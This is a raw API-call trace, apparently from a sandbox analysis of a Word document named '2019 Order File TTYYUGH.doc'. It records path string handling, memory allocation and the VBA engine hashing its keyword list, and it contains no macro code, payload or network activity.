lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2666f0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.688] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CNormal") returned -11 [0036.688] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.688] IMalloc:Alloc (This=0x7feff045380, cb=0x12a) returned 0x8052600 [0036.688] CExposedStream::Read () returned 0x0 [0036.688] wcsncpy_s (in: _Destination=0x40460e8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0036.688] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0036.688] wcscpy_s (in: _Destination=0x40461c6, _SizeInWords=0x26, _Source="#Microsoft Office 16.0 Object Library" | out: _Destination="#Microsoft Office 16.0 Object Library") returned 0x0 [0036.688] wcscpy_s (in: _Destination=0x81d77b8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.689] IMalloc:Free (This=0x7feff045380, pv=0x8052600) [0036.689] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.689] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0036.689] IMalloc:Alloc (This=0x7feff045380, cb=0x12a) returned 0x8052600 [0036.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x8052600, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0036.689] IMalloc:Free (This=0x7feff045380, pv=0x8052600) [0036.689] wcscpy_s (in: _Destination=0x7cb7388, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.689] wcsncpy_s (in: _Destination=0x266800, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.689] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0036.689] IMalloc:Alloc (This=0x7feff045380, cb=0x12a) returned 0x8052600 [0036.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x8052600, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0036.689] IMalloc:Free (This=0x7feff045380, pv=0x8052600) [0036.689] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.689] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2666f0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.689] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CNormal") returned -11 [0036.689] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.689] IMalloc:Realloc (This=0x7feff045380, pv=0x8116dd0, cb=0x6) returned 0x8116ea0 [0036.689] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0x81b1f80 [0036.689] IMalloc:GetSize (This=0x7feff045380, pv=0x81b1f80) returned 0x18 [0036.689] IMalloc:Alloc (This=0x7feff045380, cb=0xc) returned 0x81b1cc0 [0036.689] IMalloc:GetSize (This=0x7feff045380, pv=0x81b1cc0) returned 0xc [0036.690] IMalloc:Realloc (This=0x7feff045380, pv=0x8116e60, cb=0x68) returned 0x819f8e0 [0036.691] IMalloc:Realloc (This=0x7feff045380, pv=0x8104c90, cb=0x220) returned 0x80d2e90 [0036.691] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2fe0000 [0036.692] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x3340000 [0036.692] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0036.692] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x30) returned 0x7e673c0 [0036.692] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ff0000 [0036.693] VirtualAlloc (lpAddress=0x3340000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0036.693] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0036.694] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0036.695] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0036.696] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0036.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0036.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd 